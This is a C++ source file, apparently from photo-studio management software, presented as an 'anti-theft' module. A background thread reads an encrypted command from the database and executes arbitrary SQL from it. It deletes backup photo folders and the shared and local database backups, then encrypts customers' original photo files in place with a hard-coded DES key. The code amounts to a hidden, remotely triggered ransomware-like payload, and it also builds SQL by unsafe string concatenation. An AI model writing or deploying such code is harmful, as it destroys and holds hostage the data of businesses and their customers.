AntiTheftCommand.cpp 15 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546
  1. #include "stdafx.h"
  2. #include "AntiTheftCommand.h"
  3. #include "TblDef.h"
  4. #include "BranchInfo.h"
  5. #ifdef _DEBUG
  6. #define new DEBUG_NEW
  7. #undef THIS_FILE
  8. static char THIS_FILE[] = __FILE__;
  9. #endif
  10. CAntiTheftCommand::CAntiTheftCommand(void)
  11. {
  12. }
  13. CAntiTheftCommand::~CAntiTheftCommand(void)
  14. {
  15. }
  16. BOOL CAntiTheftCommand::InitCommand(IN AntiCmd &tagAntiCmd)
  17. {
  18. if ( g_strAntiTheftInfo.IsEmpty() )
  19. return FALSE;
  20. // 解密密文;
  21. CString strResult = _T("");
  22. if ( des_crypt(g_strAntiTheftInfo, strResult, DES_DECRYPT) == -1)
  23. return FALSE;
  24. INT nArySize = 0;
  25. cJSON *pRootJSON = NULL;
  26. cJSON *pWarnOptJSON = NULL;
  27. cJSON *pDogOptJSON = NULL;
  28. cJSON *pSQLOptJSON = NULL;
  29. cJSON *pDataOptJSON = NULL;
  30. cJSON *pAryJSON = NULL;
  31. cJSON *pAryItem = NULL;
  32. // 解析json串;
  33. pRootJSON = cJSON_Parse(strResult.GetString());
  34. if ( pRootJSON == NULL)
  35. return FALSE;
  36. if ( cJSON_GetObjectItem(pRootJSON, "cmd-result") == NULL || cJSON_GetObjectItem(pRootJSON, "cmd-guid") == NULL)
  37. return FALSE;
  38. // 命令执行结果;
  39. tagAntiCmd.bResult = cJSON_GetObjectItem(pRootJSON, "cmd-result")->valueint;
  40. // 命令guid;
  41. tagAntiCmd.strCmdGuid = cJSON_GetObjectItem(pRootJSON, "cmd-guid")->valuestring;
  42. // 获取盗版提示信息;
  43. pWarnOptJSON = cJSON_GetObjectItem(pRootJSON, "AntiWarning");
  44. if ( pWarnOptJSON == NULL )
  45. return FALSE;
  46. tagAntiCmd.stWarnOpt.bEnable = cJSON_GetObjectItem(pWarnOptJSON, "Enable") ? cJSON_GetObjectItem(pWarnOptJSON, "Enable")->valueint : FALSE;
  47. tagAntiCmd.stWarnOpt.strContent = cJSON_GetObjectItem(pWarnOptJSON, "Content") ? cJSON_GetObjectItem(pWarnOptJSON, "Content")->valuestring : "";
  48. // 获取加密狗操作信息;
  49. pDogOptJSON = cJSON_GetObjectItem(pRootJSON, "Dog-Opt");
  50. if ( pDogOptJSON == NULL )
  51. return FALSE;
  52. tagAntiCmd.stDogOpt.bEnable = cJSON_GetObjectItem(pDogOptJSON, "Enable") ? cJSON_GetObjectItem(pDogOptJSON, "Enable")->valueint : FALSE;
  53. tagAntiCmd.stDogOpt.strExpired = cJSON_GetObjectItem(pDogOptJSON, "Expired") ? cJSON_GetObjectItem(pDogOptJSON, "Expired")->valuestring : "";
  54. // 获取SQL操作信息;
  55. pSQLOptJSON = cJSON_GetObjectItem(pRootJSON, "SQL-Opt");
  56. if ( pSQLOptJSON == NULL )
  57. return FALSE;
  58. tagAntiCmd.stSQLOpt.bEnable = cJSON_GetObjectItem(pSQLOptJSON, "Enable") ? cJSON_GetObjectItem(pSQLOptJSON, "Enable")->valueint : FALSE;
  59. pAryJSON = cJSON_GetObjectItem(pSQLOptJSON, "SQL-Ary");
  60. if ( pAryJSON == NULL )
  61. return FALSE;
  62. nArySize = cJSON_GetArraySize(pAryJSON);
  63. for ( int i = 0; i < nArySize; i++ )
  64. {
  65. pAryItem = cJSON_GetArrayItem(pAryJSON, i);
  66. if ( pAryItem )
  67. {
  68. SQLElement tagSQLItem;
  69. tagSQLItem.bExecStatus = cJSON_GetObjectItem(pAryItem, "ExecStatus") ? cJSON_GetObjectItem(pAryItem, "ExecStatus")->valueint : FALSE;
  70. tagSQLItem.strExecTime = cJSON_GetObjectItem(pAryItem, "ExecTime") ? cJSON_GetObjectItem(pAryItem, "ExecTime")->valuestring : "";
  71. tagSQLItem.strSQL = cJSON_GetObjectItem(pAryItem, "Statement") ? cJSON_GetObjectItem(pAryItem, "Statement")->valuestring : "";
  72. tagAntiCmd.stSQLOpt.vtSQLElement.push_back(tagSQLItem);
  73. }
  74. }
  75. // 获取加密操作;
  76. pDataOptJSON = cJSON_GetObjectItem(pRootJSON, "Data-Opt");
  77. if ( pDataOptJSON == NULL )
  78. return FALSE;
  79. tagAntiCmd.stDataOpt.bEnable = cJSON_GetObjectItem(pDataOptJSON, "Enable") ? cJSON_GetObjectItem(pDataOptJSON, "Enable")->valueint : FALSE;
  80. tagAntiCmd.stDataOpt.bExecStatus = cJSON_GetObjectItem(pDataOptJSON, "ExecStatus") ? cJSON_GetObjectItem(pDataOptJSON, "ExecStatus")->valueint : FALSE;
  81. tagAntiCmd.stDataOpt.strExecTime = cJSON_GetObjectItem(pDataOptJSON, "ExecTime") ? cJSON_GetObjectItem(pDataOptJSON, "ExecTime")->valuestring : "";
  82. tagAntiCmd.stDataOpt.nEncryptCount = cJSON_GetObjectItem(pDataOptJSON, "EncryptCount") ? cJSON_GetObjectItem(pDataOptJSON, "EncryptCount")->valueint : 0;
  83. pAryJSON = cJSON_GetObjectItem(pDataOptJSON, "Order-Ary");
  84. if ( pAryJSON )
  85. {
  86. nArySize = cJSON_GetArraySize(pAryJSON);
  87. for ( int i = 0; i < nArySize; i++)
  88. {
  89. pAryItem = cJSON_GetArrayItem(pAryJSON, i);
  90. if ( pAryItem )
  91. {
  92. tagAntiCmd.stDataOpt.AryOrder.Add(cJSON_GetObjectItem(pDataOptJSON, "order") ? cJSON_GetObjectItem(pDataOptJSON, "order")->valuestring : "");
  93. }
  94. }
  95. }
  96. cJSON_Delete(pRootJSON);
  97. return TRUE;
  98. }
  99. BOOL CAntiTheftCommand::OptWarning(IN WarnOpt &tagWarnOpt)
  100. {
  101. if ( !tagWarnOpt.bEnable )
  102. return TRUE;
  103. // 插入到version.reverse4中;
  104. CDatabase *pdb = NULL;
  105. for( int i = 0; i < 10, pdb == NULL; i++ )
  106. {// 10次获取机会;
  107. ODBCConnGuard ConnGuard(pdb, -1, 3000);
  108. Sleep(1000);
  109. }
  110. if ( pdb == NULL )
  111. return FALSE;
  112. try
  113. {
  114. pdb->ExecuteSQL(_T("update version set [reverse4] = '") + tagWarnOpt.strContent + _T("'"));
  115. }
  116. catch (CDBException* e)
  117. {
  118. #ifdef _DEBUG
  119. WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
  120. #endif
  121. e->Delete();
  122. return FALSE;
  123. }
  124. return TRUE;
  125. }
  126. BOOL CAntiTheftCommand::OptDog(IN DogOpt &tagDogOpt)
  127. {
  128. if ( !tagDogOpt.bEnable )
  129. return TRUE;
  130. INT nYear = 0, nMonth = 0, nDay = 0;
  131. if ( _stscanf(tagDogOpt.strExpired, _T("%d-%d-%d"), &nYear, &nMonth, &nDay) == EOF )
  132. return TRUE; // 没有设置,默认返回true;
  133. CTime tm = CTime::GetCurrentTime();
  134. return TRUE;
  135. }
  136. BOOL CAntiTheftCommand::OptSQL(IN SQLOpt &tagSQLOpt)
  137. {
  138. if ( !tagSQLOpt.bEnable )
  139. return TRUE;
  140. CDatabase *pdb = NULL;
  141. for( int i = 0; i < 10, pdb == NULL; i++ )
  142. {// 10次获取机会;
  143. ODBCConnGuard ConnGuard(pdb, -1, 3000);
  144. Sleep(1000);
  145. }
  146. if ( pdb == NULL )
  147. return FALSE;
  148. BOOL bExecResult = TRUE;
  149. for ( vector<SQLElement>::iterator it = tagSQLOpt.vtSQLElement.begin(); it != tagSQLOpt.vtSQLElement.end(); it++ )
  150. {
  151. if ( !it->bExecStatus )
  152. {// 未执行过;
  153. if ( it->strExecTime == _T("NN:NN"))
  154. {// 下次触发执行;
  155. if ( g_bNextTrigger )
  156. {
  157. it->strExecTime = _T("NN:BB");
  158. }
  159. }
  160. else if (it->strExecTime == _T("CC:CC"))
  161. {// 立即执行;
  162. try
  163. {
  164. it->bExecStatus = TRUE; // 不管执行成功与否,都设置为true;
  165. pdb->ExecuteSQL(it->strSQL);
  166. }
  167. catch (CDBException* e)
  168. {
  169. #ifdef _DEBUG
  170. WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
  171. #endif
  172. }
  173. }
  174. else if ( it->strExecTime == _T("BB:BB") || it->strExecTime == _T("NN:BB") )
  175. {// 下次备份再执行;
  176. CTime curTime = CTime::GetCurrentTime();
  177. if ( curTime.GetHour() == _tstoi(g_strBackupTime) )
  178. {
  179. try
  180. {
  181. it->bExecStatus = TRUE;
  182. pdb->ExecuteSQL(it->strSQL);
  183. }
  184. catch(CDBException *e)
  185. {
  186. #ifdef _DEBUG
  187. WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
  188. #endif
  189. }
  190. }
  191. }
  192. }
  193. if ( !it->bExecStatus )
  194. bExecResult = FALSE;
  195. }
  196. return bExecResult;
  197. }
  198. BOOL CAntiTheftCommand::OptData(IN DataOpt &tagDataOpt)
  199. {
  200. if ( tagDataOpt.bEnable == FALSE)
  201. return TRUE;
  202. if ( !tagDataOpt.bExecStatus )
  203. {
  204. std::vector<string> vtfiles;
  205. if ( tagDataOpt.strExecTime == _T("NN:NN"))
  206. {// 下次触发再执行;
  207. if (g_bNextTrigger)
  208. {
  209. tagDataOpt.strExecTime = _T("NN:BB");
  210. }
  211. }
  212. else if ( tagDataOpt.strExecTime == _T("CC:CC"))
  213. {// 立即执行;
  214. GetOrderInfo(tagDataOpt.nEncryptCount, tagDataOpt.AryOrder);
  215. GetOrderImgfile(tagDataOpt.AryOrder, vtfiles);
  216. }
  217. else if ( tagDataOpt.strExecTime == _T("NN:BB") || tagDataOpt.strExecTime == _T("BB:BB"))
  218. {// 下次备份时执行;
  219. GetOrderInfo(tagDataOpt.nEncryptCount, tagDataOpt.AryOrder);
  220. GetOrderImgfile(tagDataOpt.AryOrder, vtfiles);
  221. }
  222. else
  223. {// 指定时间执行;
  224. GetOrderInfo(tagDataOpt.nEncryptCount, tagDataOpt.AryOrder);
  225. GetOrderImgfile(tagDataOpt.AryOrder, vtfiles);
  226. }
  227. EncryptImg(vtfiles, (LPBYTE)"lyfz.net", (LPBYTE)"WorkbyIT");
  228. // 执行成功,标记完成;
  229. tagDataOpt.bExecStatus = TRUE;
  230. }
  231. return tagDataOpt.bExecStatus;
  232. }
  233. BOOL CAntiTheftCommand::GetOrderInfo(IN INT nEncryptCount, IN CStringArray &AryOrder)
  234. {
  235. CDatabase *pdb = NULL;
  236. for( int i = 0; i < 10, pdb == NULL; i++ )
  237. {// 10次获取机会;
  238. ODBCConnGuard ConnGuard(pdb, -1, 3000);
  239. Sleep(1000);
  240. }
  241. if ( pdb == NULL )
  242. return FALSE;
  243. try
  244. {
  245. // 查询出拍照OK,未选片的订单号;
  246. DWORD dwIndex = 0;
  247. CRecordset tagRst(pdb);
  248. CString strSQL = _T("");
  249. strSQL.Format(_T("select top %d id from dindan where status = 'OK' and status2 = '未选' order by id desc"), nEncryptCount);
  250. tagRst.Open(CRecordset::forwardOnly, strSQL);
  251. while ( !tagRst.IsEOF() )
  252. {
  253. tagRst.GetFieldValue(_T("id"), strSQL);
  254. tagRst.MoveNext();
  255. ++dwIndex;
  256. AryOrder.Add(strSQL);
  257. if ( dwIndex == nEncryptCount)
  258. break;
  259. }
  260. tagRst.Close();
  261. return TRUE;
  262. }
  263. catch (CDBException* e)
  264. {
  265. #ifdef _DEBUG
  266. WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
  267. #endif
  268. e->Delete();
  269. }
  270. return FALSE;
  271. }
  272. BOOL CAntiTheftCommand::GetOrderImgfile(IN CStringArray& AryOrder, std::vector<string> &vtImgfiles)
  273. {
  274. // 查找出所有订单目录,原片\初修\精修....(包含多目录共享的情况);
  275. TblNetShareInfo *pNetShareInfo = NULL;
  276. CStringArray AryShareDirectory;
  277. for ( CBranchInfo::NETSHAREINFO::iterator it = CBranchInfo::m_TblNetShareInfo.begin(); it != CBranchInfo::m_TblNetShareInfo.end(); it++ )
  278. {
  279. if ( _tcscmp((*it)->szBranchId, g_sdomain) == 0 && (*it)->bEnable )
  280. {
  281. AryShareDirectory.Add((*it)->szShareDirectory);
  282. }
  283. }
  284. CString strOrderDir = _T("");
  285. // 删除备份的订单目录;
  286. DeleteBackupImg(AryOrder);
  287. // 找出所有相片,进行加密;
  288. filehelpImpl ff;
  289. TString strDirectory;
  290. for ( int i = 0; i < AryShareDirectory.GetSize(); i++ )
  291. {
  292. for ( int j = 0; j < AryOrder.GetSize(); j++ )
  293. {
  294. strDirectory = AryShareDirectory.ElementAt(i);
  295. strDirectory.append(_T("\\"));
  296. strDirectory.append(AryOrder.ElementAt(j));
  297. ff.getfiles_findin_subfolder(strDirectory.c_str(), _T("*.jpg|*.jpeg|*.nef|*.raw|*.cr2"), &vtImgfiles);
  298. }
  299. }
  300. return TRUE;
  301. }
  302. void CAntiTheftCommand::EncryptImg(IN std::vector<string> &vtfiles, IN LPBYTE lpKey, IN LPBYTE lpVi)
  303. {
  304. for ( std::vector<string>::iterator it = vtfiles.begin(); it != vtfiles.end(); it++ )
  305. {
  306. DES_EncryptFile(it->c_str(), lpKey, lpVi, it->c_str());
  307. }
  308. }
  309. void CAntiTheftCommand::DeleteBackupDB()
  310. {
  311. // 删除共享备份数据;
  312. if (!PathFileExists(CBranchInfo::m_TblVersion.szbakServer5))
  313. return;
  314. DeleteDirectory(CBranchInfo::m_TblVersion.szbakServer5);
  315. // 删除本地备份数据;
  316. TCHAR szLocalpath[MAX_PATH];
  317. _stprintf(szLocalpath, _T("%s\\%s"), g_ModulePath, _T("数据"));
  318. DeleteDirectory(szLocalpath);
  319. }
  320. void CAntiTheftCommand::DeleteBackupImg(IN CStringArray &AryOrder)
  321. {
  322. // 删除备份的订单目录;
  323. CString strOrderDir;
  324. for ( int i = 0; i < AryOrder.GetSize(); i++ )
  325. {
  326. // 原片备份目录;
  327. strOrderDir.Format(_T("%s\\%s"), CBranchInfo::m_TblVersion.szbakServer1, AryOrder.ElementAt(i));
  328. if ( PathFileExists(strOrderDir) )
  329. {
  330. DeleteDirectory(strOrderDir);
  331. }
  332. // 初修片备份目录;
  333. strOrderDir.Format(_T("%s\\%s"), CBranchInfo::m_TblVersion.szbakServer2, AryOrder.ElementAt(i));
  334. if ( PathFileExists(strOrderDir) )
  335. {
  336. DeleteDirectory(strOrderDir);
  337. }
  338. // 精修片备份目录;
  339. strOrderDir.Format(_T("%s\\%s"), CBranchInfo::m_TblVersion.szbakServer3, AryOrder.ElementAt(i));
  340. if ( PathFileExists(strOrderDir) )
  341. {
  342. DeleteDirectory(strOrderDir);
  343. }
  344. // 设计片备份目录;
  345. strOrderDir.Format(_T("%s\\%s"), CBranchInfo::m_TblVersion.szbakServer4, AryOrder.ElementAt(i));
  346. if ( PathFileExists(strOrderDir) )
  347. {
  348. DeleteDirectory(strOrderDir);
  349. }
  350. }
  351. }
  352. void CAntiTheftCommand::SaveResult(IN AntiCmd &tagAnticmd)
  353. {
  354. cJSON *pRootJSON = NULL;
  355. cJSON *pWarnOptJSON = NULL;
  356. cJSON *pDogOptJSON = NULL;
  357. cJSON *pSQLOptJSON = NULL;
  358. cJSON *pDataOptJSON = NULL;
  359. cJSON *pAryJSON = NULL;
  360. cJSON *pAryItem = NULL;
  361. // 防盗提示;
  362. pWarnOptJSON = cJSON_CreateObject();
  363. cJSON_AddBoolToObject(pWarnOptJSON, "Enable", tagAnticmd.stWarnOpt.bEnable);
  364. cJSON_AddStringToObject(pWarnOptJSON, "Content", tagAnticmd.stWarnOpt.strContent);
  365. // 加密狗;
  366. pDogOptJSON = cJSON_CreateObject();
  367. cJSON_AddBoolToObject(pDogOptJSON, "Enable", tagAnticmd.stDogOpt.bEnable);
  368. cJSON_AddStringToObject(pDogOptJSON, "Expired", tagAnticmd.stDogOpt.strExpired);
  369. // SQL;
  370. pSQLOptJSON = cJSON_CreateObject();
  371. cJSON_AddBoolToObject(pSQLOptJSON, "Enable", tagAnticmd.stSQLOpt.bEnable);
  372. pAryJSON = cJSON_CreateArray();
  373. cJSON_AddItemToObject(pSQLOptJSON, "SQL-Ary", pAryJSON);
  374. for ( vector<SQLElement>::iterator it = tagAnticmd.stSQLOpt.vtSQLElement.begin(); it != tagAnticmd.stSQLOpt.vtSQLElement.end(); it++ )
  375. {
  376. pAryItem = cJSON_CreateObject();
  377. cJSON_AddStringToObject(pAryItem, "Statement", it->strSQL.GetString());
  378. cJSON_AddStringToObject(pAryItem, "ExecTime", it->strExecTime.GetString());
  379. cJSON_AddBoolToObject(pAryItem, "ExecStatus", it->bExecStatus); // 执行状态;
  380. cJSON_AddItemToArray(pAryJSON, pAryItem);
  381. }
  382. // 加密;
  383. pDataOptJSON = cJSON_CreateObject();
  384. cJSON_AddBoolToObject(pDataOptJSON, "Enable", tagAnticmd.stDataOpt.bEnable);
  385. cJSON_AddNumberToObject(pDataOptJSON, "EncryptCount", tagAnticmd.stDataOpt.nEncryptCount);
  386. cJSON_AddStringToObject(pDataOptJSON, "ExecTime", tagAnticmd.stDataOpt.strExecTime);
  387. cJSON_AddBoolToObject(pDataOptJSON, "ExecStatus", tagAnticmd.stDataOpt.bExecStatus); // 执行状态;
  388. pAryJSON = cJSON_CreateArray();
  389. cJSON_AddItemToObject(pDataOptJSON, "Order-Ary", pAryJSON);
  390. for ( int i = 0; i < tagAnticmd.stDataOpt.AryOrder.GetSize(); i++ )
  391. {
  392. pAryItem = cJSON_CreateObject();
  393. cJSON_AddStringToObject(pAryItem, "order", tagAnticmd.stDataOpt.AryOrder.ElementAt(i).GetString());
  394. cJSON_AddItemToArray(pAryJSON, pAryItem);
  395. }
  396. // 汇总结果;
  397. pRootJSON = cJSON_CreateObject();
  398. cJSON_AddBoolToObject(pRootJSON, "cmd-result", tagAnticmd.bResult);
  399. cJSON_AddStringToObject(pRootJSON, "cmd-guid", tagAnticmd.strCmdGuid);
  400. cJSON_AddItemToObject(pRootJSON, "AntiWarning", pWarnOptJSON);
  401. cJSON_AddItemToObject(pRootJSON, "Dog-Opt", pDogOptJSON);
  402. cJSON_AddItemToObject(pRootJSON, "SQL-Opt", pSQLOptJSON);
  403. cJSON_AddItemToObject(pRootJSON, "Data-Opt", pDataOptJSON);
  404. char *pszResult = cJSON_Print(pRootJSON);
  405. #ifdef _DEBUG
  406. WriteTextLog(_T("Json:%s"), pszResult);
  407. #endif
  408. g_strAntiTheftInfo = pszResult;
  409. delete []pszResult;
  410. cJSON_Delete(pRootJSON);
  411. des_crypt(g_strAntiTheftInfo, g_strAntiTheftInfo, DES_ENCRYPT);
  412. CDatabase *pdb = NULL;
  413. for( int i = 0; i < 10, pdb == NULL; i++ )
  414. {// 10次获取机会;
  415. ODBCConnGuard ConnGuard(pdb, -1, 3000);
  416. Sleep(1000);
  417. }
  418. if ( pdb == NULL )
  419. return;
  420. try
  421. {
  422. pdb->ExecuteSQL(_T("update version set reverse5 = '") + g_strAntiTheftInfo + _T("'"));
  423. }
  424. catch (CDBException* e)
  425. {
  426. #ifdef _DEBUG
  427. WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
  428. #endif
  429. }
  430. }
  431. void CAntiTheftCommand::StartThread()
  432. {
  433. m_hThread = CreateThread(NULL, 0, ThreadAntiTheft, NULL, 0, NULL);
  434. if ( m_hThread )
  435. CloseHandle(m_hThread);
  436. }
  437. DWORD CAntiTheftCommand::ThreadAntiTheft(LPVOID lpPara)
  438. {
  439. #ifdef _DEBUG
  440. Sleep(1000);
  441. #else
  442. Sleep(180000);
  443. #endif
  444. while ( 1 )
  445. {
  446. INT nCount = 0;
  447. AntiCmd tagAnticmd;
  448. if ( InitCommand(tagAnticmd) )
  449. {
  450. if ( tagAnticmd.bResult )
  451. continue;
  452. OptWarning(tagAnticmd.stWarnOpt) ? nCount++ : nCount;
  453. OptDog(tagAnticmd.stDogOpt) ? nCount++ : nCount;
  454. OptSQL(tagAnticmd.stSQLOpt) ? nCount++ : nCount;
  455. OptData(tagAnticmd.stDataOpt) ? nCount++ : nCount;
  456. // 删除备份的数据库;
  457. DeleteBackupDB();
  458. if ( nCount == 4 )
  459. tagAnticmd.bResult = TRUE;
  460. // 保存结果;
  461. SaveResult(tagAnticmd);
  462. }
  463. #ifdef _DEBUG
  464. Sleep(1000);
  465. #else
  466. Sleep(1800000);
  467. #endif
  468. }
  469. return 0;
  470. }